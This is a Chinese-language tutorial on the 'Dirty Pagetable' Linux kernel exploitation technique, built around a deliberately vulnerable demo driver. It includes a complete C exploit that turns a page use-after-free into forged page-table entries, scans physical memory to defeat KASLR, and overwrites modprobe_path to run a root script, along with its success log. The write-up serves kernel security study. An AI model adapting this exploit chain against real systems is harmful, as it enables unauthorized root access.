Table of Contents
核心思想
Linux 用户进程的 pagetable,也是从 page allocator 直接分配的物理页面,和内核的其他普通对象一个来源。如果普通的对象 uaf 了,内存回收后重新分配给 pagetable,可以直接控制 PTE。
__pte_alloc -> pte_alloc_one -> pagetable_alloc_noprof通过操纵 PTE,把它的物理地址设成 kernel text/data 的物理地址,就能随心所欲地 patch 内核。想要提权的就 patch setresuid()、setresgid() 等系统调用;如果 SELinux 处于启用状态,还要 patch 相关变量禁掉它。
Dirty Pagetable 这种利用手法可以无视很多一些保护
KCFI (CONFIG_CFI_CLANG)控制流完整性,在安卓上面默认开。Dirty Pagetable 只改 PTE 数据不劫持控制流,所以 CFI 保护无效。KASLR虚拟地址随机化。Dirty Pagetable 直接改物理地址。SMAP / SMEPSLAB_VIRTUAL这个 kernelctf 里面特地加入的保护
写一个最简易 demo 拆解流程
设置一个最小的驱动,提供这样的4个接口,省去了竞争和读写原语的构造
static struct page *dpv_page;
DPV_ALLOC: dpv_page = alloc_page(GFP_KERNEL); // 从 buddy 拿一个 order-0 页DPV_FREE: __free_pages(dpv_page, 0); // 还给 buddy,但故意不置 NULLDPV_READ: 返回 *(u64 *)(page_address(dpv_page) + off); // UAF 读DPV_WRITE: *(u64 *)(page_address(dpv_page) + off) = val; // UAF 写为页表喷射分配区域
一个 pte 页管理 2MiB 的虚拟地址,我们分配一块 2MiB*256 的内存(起始地址 base),刚好对应 256 个pte页。之后UAF的 pte 页表对应管理的内存就在这个区域里。多预留 2MiB 再对齐,是为了保证 base 是 2MiB 的整数倍:
base = mmap(NULL, (CHUNKS + 1) * CHUNK_SIZE, ...); // CHUNK_SIZE = 2MiB,CHUNKS = 256base += CHUNK_SIZE - ((uintptr_t)base & (CHUNK_SIZE - 1)); // 对齐到 2MiB为什么对齐 2MiB?
一个 PTE 页正好管理 2MiB 的虚拟地址(512 个表项 × 4KiB)。对齐后,spray region 可以看成 256 个 2MiB 块依次排列,每个 2MiB 块对应一个将来分配出来的PTE 页,第 `i` 个 2MiB 块的首地址就是 `base + i * 2MiB`,它的 PTE 恰好位于对应 PTE 页的 slot 0。
预触发缺页:先建好上级页表
在布置UAF之前,在2MiB*256内存的两端(第一页和最后一个 2MiB 块的首页)各写入一个字节:
base[0] = 1;base[CHUNKS * CHUNK_SIZE - CHUNK_SIZE] = 1;这两次写会触发缺页,内核把这一块区域的 PUD→PMD 这些上级页表全部建好(512MiB 最多跨 2 个 PMD 页,访问两端即可覆盖)。完成后,上级页表就位,之后再缺页就只差最后一级 PTE 页了。这必须在 free 之前完成,因为上级页表和 PTE 页一样从 buddy 拿 order-0 页。
制造 UAF:ALLOC → FREE
ioctl(DPV_ALLOC) 分配 victim 页,ioctl(DPV_FREE) 释放。进程通过 sched_setaffinity 绑在 CPU 0:order-0 的分配和释放都经过同一个 per-CPU pageset,LIFO 顺序保证接下来喷射页表时它是第一批被取走的页。
喷射pte页 往每个 2MiB 块的首页写一个 marker
for (i = 0; i < CHUNKS; i++) *(uint64_t *)(base + i * CHUNK_SIZE) = 0xdead0000UL + i;对每个 2MiB 块,这次写触发一次缺页:内核先分配一个 PTE 页(从 buddy 消耗一个 order-0 页——这是本次操作的目标分配),再分配一个数据页存放 marker。marker 写在每个 2MiB 块的 offset=0 位置,它的 PTE 恰好是所在 PTE 页的 **slot 0。**而每个 marker 的值 0xdead0000 + i都不同,可以靠它标识所属的 2MiB 块。
验证回收:UAF 读确认页变成了 PTE 页
uaf_read(0) 读 victim 页前 8 字节。若还是全 0,说明未被分配为页表页;读到的是 pte[0]——一个指向 marker 页的、带 P|RW|USER|A|D(0x67)的表项:
[+] freed page reclaimed as a PTE page, pte[0]=800000007ffdb067定位 PTE 页和内存的对应关系
喷射了 256 个 PTE 页,不知道 victim 页是哪一个。经典做法要读 /proc/self/pagemap,但是非特权拿不到 PFN。这里用另一种方法:
uaf_write(8, pte0); // 把 slot 1 写成和 slot 0 一样的 PTE → 同一物理页for (i = 0; i < CHUNKS; i++) { m0 = *(uint64_t *)(base + i*CHUNK_SIZE); // 块首 marker m1 = *(uint64_t *)(base + i*CHUNK_SIZE + 0x1000); // 块首+4K if (m0 && m0 == m1) va_base = base + i*CHUNK_SIZE; // 命中}只有 victim PTE 页管辖的那个 2MiB 块,+4K 处才能读到与块首相同的 marker(slot 1 与 slot 0 指向同一物理页);其余块的 +4K 未映射,读到的是 zero page(全 0)。找到后把 slot 1 恢复为 0。
这个方法不受 TLB 影响
slot 1 之前从未映射过(P=0),CPU 没有可缓存的旧翻译,新 PTE 无需 TLB 刷新立即生效。反过来,如果改写一个已存在的映射,陈旧 TLB 项会让访问继续命中旧物理页。
扫描物理内存,定位内核(KASLR 已开启)
此时已有任意物理读原语,但还不知道内核在哪。defconfig 下 CONFIG_RANDOMIZE_BASE=y,内核被解压到随机的 2MiB 对齐物理地址。利用这一点:`linux_banner`(“Linux version 7.2.0 …”)相对内核基址的偏移在编译时固定(本内核 `+0x15998c0`),只需以 2MiB 为步长扫描物理内存比对字符串:
for (p = 0x1000000; p < SCAN_TOP; p += 0x200000) { if (memcmp(phys_map(p + BANNER_OFF), "Linux version 7.2", 17)) continue; if (!memcmp(phys_map(p + MODPROBE_OFF), "/sbin/modprobe", 14)) return p; // banner + modprobe 双重验证,排除误匹配}2GiB 内存最多 1024 次映射,可在数秒内完成。modprobe_path 的偏移(+0x1d48f60)同样来自 vmlinux,双重验证用于确认找到的是内核本身。
伪造 PTE 把 modprobe_path 所在物理页映射进用户态
为了不被 TLB 缓存影响,phys_map() 每次使用全新的 slot 写入目标物理页的 PTE。512 个 slot 用尽后,对整个 2MiB 范围执行两次 mprotect 让 TLB 里面的缓存失效,然后从头复用。
uaf_write(slot * 8, (phys & ~0xfffUL) | 0x67);strcpy(phys_map(modprobe), "/tmp/x");触发
最终日志(dirty_pagetable_demo/final.log,KASLR 开启)
[+] freed page reclaimed as a PTE page, pte[0]=800000007ffdb067[+] PTE page governs va_base=0x7f3a3dc00000[+] kernel phys base=72200000 modprobe_path phys=73f48f60[*] readback via forged mapping: /tmp/x[+] /proc/sys/kernel/modprobe now reads: /tmp/x[+] /tmp/pwned: uid=0 gid=0[+] done代码
#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <string.h>#include <fcntl.h>#include <unistd.h>#include <sched.h>#include <sys/ioctl.h>#include <sys/mman.h>#include <sys/socket.h>#include <sys/syscall.h>
#define DPV_ALLOC _IO('d', 0)#define DPV_FREE _IO('d', 1)#define DPV_READ _IOWR('d', 2, struct dpv_rw)#define DPV_WRITE _IOW('d', 3, struct dpv_rw)
struct dpv_rw { uint32_t off; uint64_t val;};
#define CHUNKS 256 /* 256 x 2MiB = 512MiB of PTE spray */#define CHUNK_SIZE (2UL << 20)#define PTE_PRESENT_RW 0x67 /* P | RW | USER | ACCESSED | DIRTY */#define BANNER_OFF 0x15998c0UL /* linux_banner - _text (from vmlinux) */#define MODPROBE_OFF 0x1d48f60UL /* modprobe_path - _text */#define SCAN_TOP (2UL << 30) /* guest RAM size */
static int dpv;static uint8_t *va_base;
static uint64_t uaf_read(uint32_t off){ struct dpv_rw rw = { .off = off };
if (ioctl(dpv, DPV_READ, &rw)) exit(1); return rw.val;}
static void uaf_write(uint32_t off, uint64_t val){ struct dpv_rw rw = { .off = off, .val = val };
if (ioctl(dpv, DPV_WRITE, &rw)) exit(1);}
static int slot = 2;
/* Map one physical page through a fresh slot of the hijacked PTE * page. A never-before-mapped VA can have no stale TLB entry, so no * flush is needed; when the 512 slots wrap, one mprotect with real * flag changes flushes the whole 2MiB range before reuse. */static void *phys_map(uint64_t phys){ void *va;
if (slot >= 512) { mprotect(va_base, CHUNK_SIZE, PROT_READ); mprotect(va_base, CHUNK_SIZE, PROT_READ | PROT_WRITE); slot = 2; } va = va_base + slot * 0x1000; uaf_write(slot * 8, (phys & ~0xfffUL) | PTE_PRESENT_RW); slot++; return va + (phys & 0xfff);}
static void phys_unmap_all(void){ int i;
for (i = 2; i < slot; i++) uaf_write(i * 8, 0);}
static void die(const char *msg){ perror(msg); exit(1);}
static uint64_t find_kernel_phys(void){ for (uint64_t p = 0x1000000; p < SCAN_TOP; p += 0x200000) { if (memcmp(phys_map(p + BANNER_OFF), "Linux version 7.2", 17)) continue; if (!memcmp(phys_map(p + MODPROBE_OFF), "/sbin/modprobe", 14)) return p; printf("[*] banner candidate at %lx rejected (modprobe mismatch)\n", p); } return 0;}
int main(void){ cpu_set_t set; uint8_t *base; uint64_t pte0, kbase, modprobe; int i;
CPU_ZERO(&set); CPU_SET(0, &set); sched_setaffinity(0, sizeof(set), &set); setuid(65534);
dpv = open("/dev/dpv", O_RDWR); if (dpv < 0) die("open");
base = mmap(NULL, (CHUNKS + 1) * CHUNK_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (base == MAP_FAILED) die("mmap"); base += CHUNK_SIZE - ((uintptr_t)base & (CHUNK_SIZE - 1));
/* Pre-fault both ends so PMD-and-above tables already exist; * every order-0 allocation after the free is then a PTE page. */ base[0] = 1; base[CHUNKS * CHUNK_SIZE - CHUNK_SIZE] = 1;
if (ioctl(dpv, DPV_ALLOC) || ioctl(dpv, DPV_FREE)) die("alloc/free");
for (i = 0; i < CHUNKS; i++) *(uint64_t *)(base + i * CHUNK_SIZE) = 0xdead0000UL + i;
pte0 = uaf_read(0); if ((pte0 & PTE_PRESENT_RW) != PTE_PRESENT_RW) { fprintf(stderr, "[-] page not reclaimed as PTE: %lx\n", pte0); return 1; } printf("[+] freed page reclaimed as a PTE page, pte[0]=%lx\n", pte0);
/* Map slot 1 onto slot 0's page; the chunk whose +4K mirrors * its marker is the 2MiB region this PTE page governs. */ uaf_write(8, pte0); for (i = 0; i < CHUNKS; i++) { uint64_t m0 = *(uint64_t *)(base + i * CHUNK_SIZE); uint64_t m1 = *(uint64_t *)(base + i * CHUNK_SIZE + 0x1000);
if (m0 && m0 == m1) { va_base = base + i * CHUNK_SIZE; break; } } if (!va_base) { fprintf(stderr, "[-] failed to locate PTE page\n"); return 1; } uaf_write(8, 0); printf("[+] PTE page governs va_base=%p\n", va_base);
kbase = find_kernel_phys(); if (!kbase) { fprintf(stderr, "[-] kernel image not found\n"); return 1; } modprobe = kbase + MODPROBE_OFF; printf("[+] kernel phys base=%lx modprobe_path phys=%lx\n", kbase, modprobe);
strcpy(phys_map(modprobe), "/tmp/x"); printf("[*] readback via forged mapping: %s\n", (char *)phys_map(modprobe)); phys_unmap_all();
char check[64] = {0}; int s = open("/proc/sys/kernel/modprobe", O_RDONLY); read(s, check, sizeof(check) - 1); close(s); printf("[+] /proc/sys/kernel/modprobe now reads: %s", check);
int f = open("/tmp/x", O_WRONLY | O_CREAT | O_TRUNC, 0755); if (f < 0) die("open /tmp/x"); write(f, "#!/bin/sh\nid > /tmp/pwned\n", strlen("#!/bin/sh\nid > /tmp/pwned\n")); close(f);
/* exec no longer autoloads binfmt modules; an unknown socket * family still reaches request_module("net-pf-%d") unprivileged. */ syscall(SYS_socket, 42, SOCK_STREAM, 0);
char buf[128] = {0}; f = open("/tmp/pwned", O_RDONLY); if (f < 0 || read(f, buf, sizeof(buf)) <= 0) { fprintf(stderr, "[-] modprobe did not fire\n"); return 1; } printf("[+] /tmp/pwned: %s", buf); puts("[+] done"); return 0;}